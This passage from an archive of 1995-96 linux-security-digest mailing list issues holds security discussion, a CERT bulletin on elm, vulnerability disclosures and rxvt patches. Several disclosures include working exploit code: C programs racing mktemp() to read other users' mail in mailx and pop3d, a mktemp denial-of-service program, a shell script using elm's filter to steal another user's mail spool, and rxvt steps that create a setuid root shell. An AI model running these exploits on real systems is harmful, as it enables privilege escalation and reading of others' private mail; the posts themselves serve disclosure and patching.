system than tossing in a copy of PGP, as all of us well know. To rant a little... one of the most distressing problems in the Linux world (imho) is that thousands of people who have not the time, the inclination, or the aquired skills to be professional security administrators are putting up Linux boxes on the Internet. And this means thousands of sites will eventually be cracked through well-known loopholes like the wu.ftpd bug, because their administrators simply didn't know how to set up a secure system. A distribution designed for security could go a long way toward preventing these problems. It would be good for Linux, and good for the Internet community. - -- * David Stagner [email protected] * National Computer Systems vox 319 354 9200 ext 6884 * Operations Division fax 319 339 6555 I disclaim my employer and I'm sure they'd disclaim me too. ------------------------------ From: [email protected] Date: Fri, 15 Dec 1995 18:17:33 -0800 (PST) Subject: Just wondering about timing and IPng. [mod: `timing attack' refers to a method of guessing the secret exponent in various crypto algorithms by watching the time required to perform one operation. --okir] Just wondering if there is any Linux specific news on the timing attack, http://www.cryptography.com, or IPng as described in the following USENET post. From: [email protected] Newsgroups: comp.protocols.tcp-ip Subject: URL for freely distributable IPv6 source code Aside from the IPng Home Page, which was just posted to this newsgroup, there are some other sources of information. A few of these are mentioned in this posting. There are various Internet Drafts (which are working documents of the IETF and hence are subject to change without notice) online at various archive sites around the world, perhaps most notably at: ftp://ds.internic.net/pub/internet-drafts The security portion of IPv6 was published already -- as RFC-1825 through RFC-1829 (NB: This technology applies to both IPv4 and IPv6). ftp://ds.internic.net/pub/rfc The NRL IPv6/IP-security source code "alpha-quality" release for 4.4-Lite BSD of 30 September 1995, which should drop easily into NetBSD, BSDI, and other 4.4-Lite derived OSs, has mysteriously appeared online at: ftp://ftp.c2.org The NRL software is probably subject to US Export Controls because it includes implementation of DES-CBC encryption of IP datagrams. An exportable version of the NRL software does exist, but it isn't clear whether it is online anywhere as of today. A couple of folks at NRL continue to work on IPv6/IPsec, though it is not at all clear how long that will be true. A revised version of the NRL distribution will hopefully appear online around the end of this year. MIT will eventually be making the NRL sources available online, but has not yet had time to put them out. Ran [email protected] - -- Gary Johnson "The numbers themselves may be our best tools." [email protected] Fed flip? ------------------------------ From: Marek Michalkiewicz Date: Tue, 19 Dec 1995 21:38:30 +0100 (MET) Subject: New beta release of the shadow suite [ Note: sunsite.unc.edu refuses connections right now - I couldn't upload this version there. I will try again later. Please get it from ftp.ists.pwr.wroc.pl instead. Thanks. --marekm ] This is a new beta release of the Shadow Password Suite for Linux. Many bugs have been reported (and fixed!), and the package is now under a BSD-style copyright. It was written by John F. Haugh II , and the Linux port is now maintained by me. Again, this is beta software which may still have some bugs, please treat it as such. Please don't install it if you don't know what you're doing. Please test it as much as you can, and report any bugs - if you report them, they will be fixed! If all goes well, Shadow should be stable enough for general use within a few months. Once it is stable, Linux distributions can start using it - there are no copyright problems anymore. Thanks to Greg Gallagher there is now a developers mailing list, [email protected]. Send the command "subscribe" to [email protected] (NOT to the mailing list itself!) to subscribe if you are interested. LSM entry follows: Begin3 Title: Shadow Password Suite Version: 3.3.3-951218 Entered-date: 18DEC95 Description: Keywords: login passwd security shadow Author: [email protected] (John F. Haugh II) Maintained-by: [email protected] (Marek Michalkiewicz) Primary-site: sunsite.unc.edu /pub/Linux/system/Admin shadow-951218.tar.gz 226373 bytes md5sum: 717532096052a89c59a12501cc71d29c Alternate-site: ftp.ists.pwr.wroc.pl /pub/linux/shadow Original-site: ftp.uu.net ? Platforms: Copying-policy: BSD-like End Marek Michalkiewicz [email protected] ------------------------------ From: Joel Maslak Date: Tue, 19 Dec 1995 13:49:59 -0700 (MST) Subject: (fwd) CERT Vendor-Initiated Bulletin VB-95:10 - Vulnerability in elm 2.4 (fwd) - -----BEGIN PGP SIGNED MESSAGE----- This definitely affects Slackware 3.0. Joel Maslak Today's dreams WILL become tomorrow's realities! - - - ---------- Forwarded message ---------- Relay-Version: ANU News - V6.1B10 04/18/95 OpenVMS AXP V6.2; site roper.uwyo.edu Path: roper.uwyo.edu!csn!nntp-xfer-2.csn.net!uucp-1.csn.net!csn!magnus.acs.ohio-state.edu!math.ohio-state.edu!cis.ohio-state.edu!nntp.sei.cmu.edu!news.sei.cmu.edu!cert-advisory Newsgroups: comp.security.announce Subject: CERT Vendor-Initiated Bulletin VB-95:10 - Vulnerability in elm 2.4 Message-ID: <[email protected]> From: CERT Bulletin Date: Mon, 18 Dec 1995 15:56:15 EST Reply-To: [email protected] Sender: [email protected] (Netnews) Organization: CERT(sm) Coordination Center - +1 412-268-7090 Keywords: security CERT Approved: [email protected] Originator: [email protected] Lines: 164 CERT Vendor-Initiated Bulletin VB-95:10 December 18, 1995 Topic: Vulnerability in elm 2.4 PL 24 Source: Bill Pemberton, University of Virginia To aid in the wide distribution of essential security information, the CERT Coordination Center is forwarding the following information from Bill Pemberton, who is the coordinator of the group that maintains elm. Mr. Pemberton urges you to act on this information as soon as possible. His contact information is included in the forwarded text below; please contact him if you have any questions or need further information. ========================FORWARDED TEXT STARTS HERE============================ I. Description Elm will follow symlinks in /tmp when opening temp files. All systems that support symlinks are vulnerable. II. Impact Users on the system can create files in the directories of other elm users. You can determine what version of elm you are running with the -v command line option (run "elm -v"). III. Solution Upgrade to elm 2.4 PL 25. The patch to upgrade from elm 2.4 PL 24 to PL 25 is available at: ftp://ftp.myxa.com/pub/elm/elm2.4.p25 MD5 (elm2.4.p25) = 5ec93595c7573be4d0cb4ce7097b6e83 The full distribution of elm 2.4 PL 25 is available at: ftp://ftp.myxa.com/pub/elm/elm2.4.tar.Z MD5 (elm2.4.tar.Z) = e5bdc4492a4931402c57ac9a8cf111b2 IV. Contact information Bill Pemberton [email protected] ITC/Unix Systems [email protected] University of Virginia uunet!virginia!wfp5p =========================FORWARDED TEXT ENDS HERE============================= CERT publications, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce. If you would like to have future advisories and bulletins mailed to you or to a mail exploder at your site, please send mail to [email protected]. If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the e-mail be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). Internet email: [email protected] Telephone: +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax: +1 412-268-6989 CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA CERT is a service mark of Carnegie Mellon University. CERT Vendor-Initiated Bulletin VB-95:10 December 18, 1995 Topic: Vulnerability in elm 2.4 PL 24 Source: Bill Pemberton, University of Virginia To aid in the wide distribution of essential security information, the CERT Coordination Center is forwarding the following information from Bill Pemberton, who is the coordinator of the group that maintains elm. Mr. Pemberton urges you to act on this information as soon as possible. His contact information is included in the forwarded text below; please contact him if you have any questions or need further information. ========================FORWARDED TEXT STARTS HERE============================ I. Description Elm will follow symlinks in /tmp when opening temp files. All systems that support symlinks are vulnerable. II. Impact Users on the system can create files in the directories of other elm users. You can determine what version of elm you are running with the -v command line option (run "elm -v"). III. Solution Upgrade to elm 2.4 PL 25. The patch to upgrade from elm 2.4 PL 24 to PL 25 is available at: ftp://ftp.myxa.com/pub/elm/elm2.4.p25 MD5 (elm2.4.p25) = 5ec93595c7573be4d0cb4ce7097b6e83 The full distribution of elm 2.4 PL 25 is available at: ftp://ftp.myxa.com/pub/elm/elm2.4.tar.Z MD5 (elm2.4.tar.Z) = e5bdc4492a4931402c57ac9a8cf111b2 IV. Contact information Bill Pemberton [email protected] ITC/Unix Systems [email protected] University of Virginia uunet!virginia!wfp5p =========================FORWARDED TEXT ENDS HERE============================= CERT publications, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce. If you would like to have future advisories and bulletins mailed to you or to a mail exploder at your site, please send mail to [email protected]. If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the e-mail be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). Internet email: [email protected] Telephone: +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax: +1 412-268-6989 CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA CERT is a service mark of Carnegie Mellon University. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMNclbw997Hm3GXY1AQGnUgP/XC7c05JlPbx5Vr0XArzyds9SrTDu0ljA /3/WFo9IHZk5sL5xByjVL31re5iUDWd4aB3i6JX/3DLbYjOVw6pbHJ2q0hgQN9D3 wEruDZWyO+POunsW7xy+d87Sx4Y77stGB17MaxltsMvbgVRFQLYnZfguylF38x1W Ugf2CBnKoTg= =ZoCt - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V1 #52 *********************************** linux-security-digest/1995/v01.n053100664 1767 1767 30357 6071446623 16066 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #53 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 31 December 1995 Volume 01 : Number 053 mailx-5.5 (slackware /bin/mail) security hole Re: mailx-5.5 (slackware /bin/mail) security hole Race conditions. ---------------------------------------------------------------------- From: David J Meltzer Date: Fri, 22 Dec 1995 17:35:01 -0500 (EST) Subject: mailx-5.5 (slackware /bin/mail) security hole [mod: The timing of this is somewhat unfortunate, given that most people are off for xmas dinner now. However this has been posted to bugtraq, too, so there's no point in delaying it. --okir] There is a problem prevalent in the way many programs implement their usage of mktemp() in order to create temporary files in /tmp, allowing users on a machine to read and write to the contents of temporary files created. The basic problem is that there is a race condition that exists between the point that a program calls mktemp(), and the pathname returned by mktemp is actually created. For some programs, the file creation is immediately or almost immediately following the mktemp(), resulting in an extremely small window of opportunity, and as a result making it very difficult to exploit. However, there are other programs that do not immediately open the file, and in these cases it is only a matter of getting the timing right in order to exploit the hole. To exploit this hole, simply create the file that mktemp() returns as a valid temporary filename after mktemp() has been called, but before the file has been opened, allowing the user running the program permissions to read and write from that temporary file. The program will then succeed in an fopen, and will write to the file, oblivious to the fact that it didn't actually create the file, and that others can also read and write from the file. Note that most programs will immediately unlink() a temporary file, but that does not delete it until after it is closed. Closing a file results in the contents of it being flushed, and so by using a 'tail -f' or a similar procedure, you can capture the contents of the file before it is removed from the filesystem. The filename returned by mktemp() is easily determined for most unix platforms, allowing this bug to be exploited. For the linux libc, this is to replace the X's in the template with the leftmost digit starting at 'a', and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file already exists), and then replacing the rest of the X's with the process id (0 padded). Other operating systems use a variation of this technique, experimentation easily reveals the algorithm. The generic procedure used to formulate an exploit for a particular program with this bug is as follows: 1. detect the execution of the program. 2. determine the temporary filename that mktemp() will return when called by the program. 3. determine the point at which mktemp() is called by the program, and immediately following that point, create the file, with rw permissions for the user who is running the program. 4. read the contents of the temporary file, using a 'tail -f' or your own routines. Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers from this mktemp() problem in all temporary files it creates. It uses 5 temporary files with filenames generated during the program's initialization in a tinit() function, and then uses them as it becomes necessary during the program's execution. The race condition begins in this tinit() function. The temporary files that can be exploited are as follows: /tmp/ReXXXXXX Used when a user selects 'e' from the mailx command prompt, to edit mail. The message the user has selected to edit is copied to the temporary file at this point, and then the editor is invoked on that temp file. The race condition ends when the user has selected 'e', and allows the mesage being edited to be read. /tmp/RsXXXXXX Used when a user sends mail, usually from the command line, such as: 'mail dave'. The race condition ends when EOF is recieved from stdin, and the message is about to be sent, and allows the outgoing mail to be read. /tmp/RqXXXXXX Used when mail arrives into the mail spool while mail is currently running. The race condition ends when the program is preparing to shutdown, and allows the new contents of the mail spool to be read. /tmp/RmXXXXXX Used to prepend a message to the user's mbox file. Prepending requires the entire mbox contents to be read to the temporary file and then appened to the new message(s) being added to the file. This is disabled by default in Slackware 3.0 in the /etc/mail.rc by the use of the set append option. For this to be useful, that option needs to be removed from /etc/mail.rc, or an unset append needs to be added to the user executing mail's .mailrc file. The race condition ends when the program is preparing to shutdown /tmp/RxXXXXXX Used to read messages from the user's mail spool. The race condition ends during the program's startup, when the mail spool is read, and allows any new mail in the user's spool to be read. Because there is no user input between tinit() and this point, it is the only race condition that isn't completely trivial to exploit. The exploit that follows demonstrates the flaws in all but the final temporary file. To use, wait for a mail process to execute, then call the mailbug program with the process id as an argument, and finally execute a tail -f /tmp/R*, and let it run until the mail program has terminated execution. After it is over, remove the files you created in /tmp. As an aside, there are a number of programs that are vulnerable to a directed denial of service attack preventing people from using them by creation of the 62 temporary files that are attempted to be used by mktemp(), resulting in the failure of the program to run. By continous running of a program watching for these vulnerable programs to start, they can be prevented from ever successfully executing (one such example of this is in.pop3d, which would allow a denial of service attack against a specific user from recieving mail through pop). Program: mailx-5.5 (/bin/mail) Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5 Requirements: account on system, user using /bin/mail Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else) Security Compromise: any user with an account can read incoming, edited, or outgoing mail if the mail is processed by mailx. Author: Dave M. ([email protected]) Synopsis: The predictability of mktemp() is exploited to create the temporary files after the filenames have been determined but before they are actually created, allowing the mail being dumped to those temporary files to be read by the creator of the files. mailbug.c: /* This program creates temporary files used by mailx (/bin/mail under Slackware 3.0), which can then be read by the program. This will exploit 4 of the 5 temporary files, the final temporary file is a tighter race condition, and is not handled by this code. Following execution of this program with the process id of mail that is running, execute 'tail -f /tmp/R*', redirecting to a file if desired, and allow it to run until the mail process has exited. This can be easily handled in a shell script, but is not included since it is not needed to sufficiently demonstrate the security flaw. Dave M. ([email protected]) */ #include #include #include #include void exploit_mktemp(char *dest, char *prepend, char *pid) { int i; strcpy(dest,prepend); for(i=strlen(pid);i<6;i++) strcat(dest,"0"); strcat(dest,pid); dest[strlen(prepend)] = 'a'; } main(int argc, char **argv) { char tmpf[5][80]; /* hold filename */ umask(0); if(argc<2) { printf("mailbug racer\nSyntax: %s process-id\n",argv[0]); return -1; } /* get mktemp filenames */ exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]); exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]); exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]); exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]); /* create temporary files */ creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); } ------------------------------ From: "Theodore Ts'o" Date: Sat, 23 Dec 1995 18:29:43 -0500 Subject: Re: mailx-5.5 (slackware /bin/mail) security hole My, the more things change, the more things stay the same. This is an *old*, *old*, **old** vulnerability. In fact, it's so old that BSD 4.3 (back when dinosaurs prowled the earth :-), introduced the mkstemp() call to deal with this vulnerability. int mkstemp(char *template) Works just like mktemp(), but it returns a file descriptor which is open for reading and writing. This file descriptor is guaranteed to belong to a fresly created file. mkstemp() is already in the Linux libc, for BSD compatibility --- it's just a matter of modifying existing programs to use it. It would probably be a good idea for future descriptions of this particular security problem also included the a fix for getting around this problem. Using mkstemp(), where available, is a fine way to fix the problem. If it's not available, it's not terribly hard to write a mkstemp() function, or to simply use mktemp and open the file with the O_CREAT and O_EXCL flags. Regarding the denial of service attack if there are more than 62 conflicting file names --- this sounds like a bug in mktemp() to me! It clearly should be using a better algorithm if that's all it takes to trip it up. - Ted ------------------------------ From: [email protected] Date: Tue, 26 Dec 1995 14:15:46 +0100 (MET) Subject: Race conditions. > The basic problem is that there is a race condition that exists between > the point that a program calls mktemp(), and the pathname returned by mktemp > is actually created. For some programs, the file creation is immediately > or almost immediately following the mktemp(), resulting in an extremely > small window of opportunity, and as a result making it very difficult to > exploit. However, there are other programs that do not immediately open > the file, and in these cases it is only a matter of getting the timing > right in order to exploit the hole. I'd like to educate all the linux-security-conscious people: A small time-window in which to create a file is NOT secure. The fliplink trick will yield around 25% chance of succeeding: create a program that does (the systemcall for): while (1) { mv a b mv b a } If "a" is the tmpfile, mktmp has a 50% chance of not finding anything there. mktmp will use that filename in 50% of the cases. Next the program opens the file. Now with a 50% chance of finding the "b" file there. All in all around 25% chance for success. In practice current computers can call "mktmp" and have created the tmpfile before their timeslice is over, so in practise it is still a little bit harder. Other OS's like Sunos are actually worse: The "mv" calls will perform physical IO, and suspend the flip-program. This results in a near 100% resultrate.... :-) Roger Wolff. - -- *** War doesn't determine who's right ****** War determines who's left. *** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** ------------------------------ End of linux-security-digest V1 #53 *********************************** linux-security-digest/1995/v01.n054100664 1767 1767 40104 6072363560 16055 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #54 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 2 January 1996 Volume 01 : Number 054 more mktemp() and pop3d filter (elm package) security hole elvis rxvt security hole Re: rxvt security hole rxvt hole ---------------------------------------------------------------------- From: [email protected] Date: Sat, 30 Dec 1995 15:48:53 -0500 (EST) Subject: more mktemp() and pop3d As explained before in the mailx security post, there is a problem with usage of mktemp() in many programs. This is a follow-up to that, demonstrating the generic denial of service attack and a race condition attack on linux's Slackware 3.0 pop3 mail daemon. Refer to the original mailx post for information on the security concerns with the use of mktemp(). Linux's /usr/sbin/in.pop3d contains a mktemp() race condition, exploitable when pop client connects to the machine at the point a correct password for a user is entered. This allows you to read the contents of the mail spool of a user when they connect with a pop client. Program: pop3d (/usr/sbin/in.pop3d) Affected Operating Systems: linux - Slackware 3.0 with pop3d enabled Requirements: account on system, target user uses pop client Temporary Patch: disable pop3d Security Compromise: any user with an account can read mail of a user using a pop client to read mail. Author: Dave M. ([email protected]) Synopsis: The predictability of mktemp() is exploited to create the temporary files after the filenames have been determined but before they are actually created, allowing the mail being dumped to those temporary files to be read by the creator of the files. pop3d-exploit.c: /* This program creates temporary files used by in.pop3d (/usr/sbin/in.pop3d under Slackware 3.0), which can then be read by the program. This race condition is NOT always successful, it may take extreme conditions to ensure a high probability of success. Dave M. ([email protected]) */ #include #include #include #include main(int argc, char **argv) { int race; int i; char fname[80], tmpf[80]; /* hold filename */ umask(0); if(argc<1) { printf("pop3 racer\nSyntax: %s process-id\n",argv[0]); return -1; } /* create tmp file to race creating */ strcpy(tmpf,"/tmp/pop3"); for(i=strlen(argv[1]);i<6;i++) strcat(tmpf,"0"); strcat(tmpf,argv[1]); tmpf[9] = 'a'; race = creat(tmpf,S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); while(1) { rename(tmpf,"/tmp/pop.exploit"); if(rename("/tmp/pop.exploit",tmpf) < 0) { printf("race lost - file created.\n"); /* catch 1/2 the losses */ break; } } } Program: Any with termination on mktemp() failure Affected Operating Systems: Any with predictable mktemp() return values Requirements: write access to directory temp files written to Security Compromise: denial of service Author: Dave M. ([email protected]) Synopsis: Many operating systems have an extremely limited temporary file creation algorithm, which results in denial of service attacks on any program that uses them exceedingly easy. deny-mktemp.c: /* This programs opens the complete set of temporary files tested with mktemp() for a given template (with 6 X's), usually resulting in the program terminating upon failure to find an open file. In pop3d, this prevents a pop client from reading their mail. Dave M. ([email protected]) */ #include #include #include #include #include /* template found in program's header file, minus X's */ #define TEMPLATE "/tmp/pop3" main(int argc, char **argv) { long int i,j; char fname[20]; if(argc<2) { printf("Syntax: %s process-id\n"); return -1; } j = strlen(TEMPLATE); strcpy(fname,TEMPLATE); for(i=strlen(argv[1]);i<6;i++) strcat(fname,"0"); strcat(fname,argv[1]); for(i=0;i<26;i++) { fname[j] = 'a' + i; creat(fname,O_WRONLY | O_CREAT); } for(i=0;i<26;i++) { fname[j] = 'A' + i; creat(fname,O_WRONLY | O_CREAT); } for(i=0;i<9;i++) { fname[j] = '0' + i; creat(fname,O_WRONLY | O_CREAT); } } /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ From: [email protected] Date: Tue, 26 Dec 1995 15:07:49 -0500 (EST) Subject: filter (elm package) security hole The elm filter under linux runs sugrp mail, thus allowing it to freely read and write from users mail spools. It is only through the integrity of its code that the security of linux's mail system is protected; and in this respect it falls short. The failure of the filter program to properly handle temporary files allows a user to read or write to any user's mail spool, a significant security hole. The specific problem that is exploited in this hole is the way filter uses a temporary file to store the input to it, and then subsequently send it back out according to the filter. Because of the modularity of the coding, in the main filter.c, the temporary file is opened, and then written to; after which it is closed. The mailmessage function is then called, with the purpose of forwarding that mail, written to the temporary file, to whatever destination is specified in the filter. At the start of this process, the temporary file is opened, and the contents of it are dumped to the mail spool of the user the mail is being forwarded to. At any point after the file has been initially opened by the main filter function, since the user running filter has permissions on that temp file, it can be rm'd. The temp file existing can then be replaced with a symbolic link to any file that group mail has read permissions on. When it is opened in the mailmessage function, the symbolic link is followed and whatever file that was pointed to will be read in, and the contents forwarded to the user specified in the mail spool. The complete exploits are shown below: Program: filter, an elm utility Affected Operating Systems: linux - Slackware 3.0, others with sgid mail filter Requirements: account on machine Security Compromise: user can read any mail spool readable by grp mail. (usually everything, sometimes not root) Author: Dave M. ([email protected]) Synopsis: filter writes out the mail to be forwarded to a temporary file, which is then closed and reopened; if when the temporary file is reopened it is a symlink to a mail spool, filter will proceed to forward the contents of that file as if it was the original message. #!/bin/sh # This shell script exploits a problem with filter(1L) # it will follow symbolic links, on a read allowing # us to steal a users mail file. # # Usage: fread.sh victimsusername # # Contents will be stored in ~/victimsusername.mail # # Dave M. ([email protected]) # cp /var/spool/mail/$LOGNAME ~ cp /dev/null /var/spool/mail/$LOGNAME echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp cat << _EOF_ >> /tmp/fread-msg.tmp >From: Dave To: $LOGNAME Subject: Filter Exploit _EOF_ echo sleep 2 > /tmp/fread-sh.tmp echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp chmod +x /tmp/fread-sh.tmp /tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp & FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'` rm -f /tmp/filter.$FREAD ln -s /var/spool/mail/$1 /tmp/filter.$FREAD sleep 2 rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp /tmp/fread-ftr.tmp /tmp/filter.$FREAD FREAD= cp /var/spool/mail/$LOGNAME ~/$1.mail cp ~/$LOGNAME /var/spool/mail more ~/$1.mail ------------------------------ From: [email protected] Date: Tue, 2 Jan 1996 04:57:59 -0500 (EST) Subject: elvis Sometimes when you see a bug you are just too embarassed about it being there to actually write an exploit for it... >From the elvis source code tmp.c: /* !!! RACE CONDITION HERE - some other process with the same PID could * create the temp file between the access() call and the creat() call. * This could happen in a couple of ways: * - different workstation may share the same temp dir via NFS. Each * workstation could have a process with the same number. * - The DOS version may be running multiple times on the same physical * machine in different virtual machines. The DOS pid number will * be the same on all virtual machines. * * This race condition could be fixed by replacing access(tmpname, 0) * with open(tmpname, O_CREAT|O_EXCL, 0600), if we could only be sure * that open() *always* used modern UNIX semantics. */ Is there ANYBODY who looks at the code before it goes into Slackware??? ------------------------------ From: [email protected] Date: Tue, 2 Jan 1996 05:05:40 -0500 (EST) Subject: rxvt security hole There is a major security hole in rxvt, a terminal emulator for X, when it is run on systems suid root, as is required on many configurations in order to write to the utmp file. It is obvious from the code that this program was not written to be run suid root, its a pity that sysadmins that install the compiled versions of this sort of code don't see the same warnings of 'run suid root at your own risk' that the people that put together a distribution with it that way see in the makefile. The conditions that allow this particular hole to be exploited is rxvt compiled with the PRINT_PIPE option, and is running suid root. The program sets the pipe to "lpr", without a pathname, but its even easier than that to exploit because we can set the pipe to whatever we want with the -print-pipe option on the rxvt command line. Although the programs gives up its root privileges when forking to runn a shell or other command, the original program continues running suid root the entire execution of the program. Because the popen() call runs as root, whatever program that pipe opens will execute immediately as root. In order to start the printer pipe, the vt100 printer-on command is ESC[5i. The pipe can then be closed with the printer-off commad, ESC[4i. Exploiting this is extremely easy. Program: rxvt Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with rxvt suid root (and compiled with PRINT_PIPE) Requirements: account on system, X server Temporary Patch: chmod -s /usr/X11R6/bin/rxvt Security Compromise: root Author: Dave M. ([email protected]) Synopsis: rxvt fails to give up root privileges before opening a pipe to a program that can be specified by the user. Exploit: 1. Set DISPLAY environment variable if necessary so you can use x clients. 2. In user shell: $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug $ chmod +x /tmp/rxbug $ rxvt -print-pipe /tmp/rxbug 3. In rxvt xclient: $ cat ESC[5i ESC[4i (The client will close at this point with a broken pipe) 4. $ /tmp/rxsh # whoami root # ------------------------------ From: Marc Ewing Date: Tue, 02 Jan 1996 14:14:35 -0500 Subject: Re: rxvt security hole Can anyone tell me if the appended patch does what is needed here? It seems to work (ie, the exploit code results in a suid `marc' shell when I run it). If so, I'll make a new rpm (this is for Red Hat 2.X) and post an announcement here and to the redhat-list. Thanks, Marc - -- - --- rxvt/command.c.marc Tue Jan 2 14:00:59 1996 +++ rxvt/command.c Tue Jan 2 14:08:28 1996 @@ -1350,8 +1350,19 @@ char rev_escape_seq [4] = "i4[\033"; int index = 0; FILE *pipe_file; + uid_t saved_uid; + gid_t saved_gid; + + saved_uid = geteuid(); + saved_gid = getegid(); + seteuid(getuid()); + setegid(getgid()); pipe_file = popen (print_pipe, "w"); + + seteuid(saved_uid); + setegid(saved_gid); + if (pipe_file == NULL) { fprintf (stderr, "rxvt: can't open printer pipe!\n"); - --- rxvt/screen.c.marc Tue Jan 2 14:01:05 1996 +++ rxvt/screen.c Tue Jan 2 14:08:35 1996 @@ -2164,8 +2164,19 @@ char *pl; FILE *pipe_file; int i,lim,ll; + uid_t saved_uid; + gid_t saved_gid; + + saved_uid = geteuid(); + saved_gid = getegid(); + seteuid(getuid()); + setegid(getgid()); pipe_file = popen(print_pipe,"w"); + + seteuid(saved_uid); + setegid(saved_gid); + if (pipe_file == NULL) { fprintf(stderr, "rxvt: can't open printer pipe!\n"); ------------------------------ From: Marc Ewing Date: Tue, 2 Jan 1996 20:58:30 -0500 (EST) Subject: rxvt hole OK, second attempt. This one should only retain privileges for the utmp stuff and /dev/ttyp* stuff, which is all it should need, as far as I can tell. If someone more knowlegeable than me gives this an OK, I'll release new rpms. Thanks, Marc - -- - --- rxvt/rxvt.h.marc Tue Jan 2 20:02:10 1996 +++ rxvt/rxvt.h Tue Jan 2 20:14:30 1996 @@ -21,3 +21,7 @@ extern void clean_exit(int); extern void cleanutent(void); extern void makeutent(char *); + +void save_privs(void); +void get_privs(void); +void release_privs(void); - --- rxvt/rxvt.c.marc Tue Jan 2 20:02:14 1996 +++ rxvt/rxvt.c Tue Jan 2 20:46:04 1996 @@ -45,6 +45,10 @@ int i; char *shell; char **com_argv; + + /* Save then give up any suid/sgid privileges */ + save_privs(); + release_privs(); for (i = 0; i < argc; i++) if (strcmp(argv[i],"-e") == 0) - --- rxvt/command.c.marc Tue Jan 2 20:09:00 1996 +++ rxvt/command.c Tue Jan 2 20:47:18 1996 @@ -222,6 +222,26 @@ } #endif +static uid_t saved_uid; +static gid_t saved_gid; + +void save_privs() +{ + saved_uid = geteuid(); + saved_gid = getegid(); +} + +void get_privs() +{ + seteuid(saved_uid); + seteuid(saved_gid); +} + +void release_privs() +{ + seteuid(getuid()); + setegid(getgid()); +} /* Catch a SIGCHLD signal and exit if the direct child has died. */ @@ -348,8 +368,10 @@ gid = gr->gr_gid; else gid = -1; + get_privs(); fchown(ttyfd,uid,gid); fchmod(ttyfd,0600); + release_privs(); #endif #ifdef TIOCCONS if (console) - --- rxvt/utmp.c.marc Tue Jan 2 20:19:35 1996 +++ rxvt/utmp.c Tue Jan 2 20:43:55 1996 @@ -71,9 +71,11 @@ extern char ttynam[]; extern struct stat ttyfd_stat; + get_privs(); chmod(ttynam,ttyfd_stat.st_mode); chown(ttynam,ttyfd_stat.st_uid,ttyfd_stat.st_gid); + release_privs(); #endif if(madeutent) cleanutent(); @@ -228,12 +230,14 @@ FILE *ut; struct utmp u; + get_privs(); if((ut = fopen(UTMP,"r+")) == NULL) return; fseek(ut,utmp_pos,0); memset(&u,0,sizeof(u)); fwrite((char *)&u,sizeof(struct utmp),1,ut); fclose(ut); + release_privs(); } @@ -250,10 +254,12 @@ int write_utmp(struct utmp * u) { int pos; + get_privs(); utmpname(UTMP); setutent(); pututline(u); endutent(); + release_privs(); pos = (int)NULL; madeutent = 1; return(pos); @@ -306,6 +312,7 @@ int pid; struct utmp *u; + get_privs(); utmpname(UTMP); setutent(); pid = getpid(); @@ -333,6 +340,7 @@ endutent(); } } + release_privs(); } #endif /* BSD */ ------------------------------ End of linux-security-digest V1 #54 *********************************** linux-security-digest/1995/v01.n055100664 1767 1767 56670 6073267765 16110 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #55 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Friday, 5 January 1996 Volume 01 : Number 055 Linux Security FAQ Update#9: Splitvt Vulnerability Slight mail hub problems: three "dropped" posts. /proc insecurity about chroot. Re: /proc insecurity Re: /proc insecurity ---------------------------------------------------------------------- From: "Alexander O. Yuriev" Date: 